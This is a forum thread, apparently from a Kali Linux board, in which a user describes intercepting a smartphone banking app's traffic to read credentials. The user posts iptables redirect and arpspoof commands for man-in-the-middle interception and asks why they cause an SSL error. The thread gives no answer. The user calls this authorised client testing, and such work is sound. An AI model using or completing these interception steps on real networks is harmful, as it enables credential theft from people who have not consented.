Results 1 to 2 of 2

Thread: How to redirect requests through a proxy on a different machine?

  1. #1
    Join Date

    How to redirect requests through a proxy on a different machine?

    My setup is the following:

    - Smartphone (= client = victim)
    - Laptop with Kali Linux
    - iMac with Charles Proxy installed

    If I set the iMac's IP and port 8888 in the WLAN-configuration on the iPhone, everything is redirected through the Charles Proxy and I can read username/password of a banking app (it's a client I'd like to prove the security hole).

    How can I achieve the same behaviour with Kali but without setting the proxy in the iPhone configuration? Is it possible to tell all the clients in the network (except the iMac) to send their traffic through the iMacs IP with port 8888?

    Thanks a lot!

  2. #2
    Join Date

    How to achieve the same behavior as setting a proxy in the client's settings?


    if I'm setting the HTTP-Proxy in my iPhone's WLAN-Settings to the IP and Port of my Charles-Proxy, everything works as expected and I can see the traffic of my e-banking app.

    But with the following script on my Kali-Linux I get an SSL-error:

    iptables -t nat --flush
    iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination
    iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination
    iptables -t nat -A POSTROUTING -j MASQUERADE
    arpspoof -i wlan0 -t [IP-OF-IPHONE]    [IP-OF-GATEWAY]
    arpspoof -i wlan0 -t [IP-OF-GATEWAY]   [IP-OF-KALI]
    What am I missing? Shouldn't it be possible to achieve the exact same behavior?

    Thanks a lot!

Similar Threads

  1. Building for any phone ! Post Requests .
    By zinister in forum Building NetHunter
    Replies: 55
    Last Post: 2018-01-03, 04:13
  2. Probe requests - How to prevent Kali sending out probe requests?
    By mstrmnn in forum TroubleShooting Archive
    Replies: 4
    Last Post: 2017-08-20, 08:58
  3. HTTP redirect on the fly
    By Blackhater in forum General Archive
    Replies: 0
    Last Post: 2014-03-17, 22:16

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts